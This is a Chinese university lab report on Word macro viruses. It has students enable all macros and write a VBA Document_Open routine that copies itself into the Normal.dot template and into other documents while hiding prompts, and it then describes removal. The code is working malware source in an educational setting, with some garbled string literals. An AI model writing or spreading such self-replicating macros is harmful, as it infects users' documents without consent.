内容发布更新时间 : 2024/5/18 9:34:42星期一 下面是文章的全部内容请认真阅读。

实验报告

软件工程实验时间 2016 年 11 月 23 日 实验地点 实验室 实验名称 计算机宏病毒分析及清除 实验目的：1、了解“宏病毒”机理； 2、掌握清除宏病毒的方法； 3、掌握采用“宏”和脚本语言进行编程的技术。 实验平台：1、Windows 2000/2003/XP 或更高级别的 Windows 操作系统； 2、Office Word 2000/2003 等字处理软件。 实验内容：1、编写宏病毒 2、删除宏病毒 实验步骤：1、打开 Word 字处理软件，在Word选项中，点击’’信任中心’然后“信任中心设置”选择”启动所有宏” 2、 自我复制功能演示 打开一个 word 文档，然后按 Alt+F11 调用宏编写窗口（工具“宏” “Visual Basic 宏编辑器”）,在左侧的“project—>Microsoft Word”对象“ThisDocument” 中输入以下代码，保存，此时当前 word 文档就含有宏病毒，只要下次打开这个 word 文档，就会执行以上代码，并将自身复制到 Normal.dot（word 文档的公共模板）和当前文档的 ThisDocument 中，此时所有的 word 文档打开和关闭时，都将运行以上的病毒代码，可以加入适当的恶意代码，影响 word 的正常使用。 Sub Document_Open() On Error Resume Next Application.DisplayStatusBar = False Options.SaveNormalPrompt = False Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate Then Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule End If With host If .Lines(1, 1) <> \.DeleteLines 1, .CountOfLines .InsertLines 1, ourcodemodule.Lines(1, 100) .ReplaceLine 2, \If ThisDocument = NormalTemplate Then .ReplaceLine 2, \ActiveDocument.SaveAs ActiveDocument.FullName End If End If End With MsgBox \哈哈哈哈哈哈哈哈哈\End Sub 3、宏病毒运行 4、打开受感染的 word 文档，进入宏编辑环境（Alt+F11），打开“Normal ? Microsoft Word”对象“This Document”，清除其中的病毒代码（只要删除所有 内容即可）。 实验结果及分析：打开相应 WORD 文档，运行情况如下 实验拓展：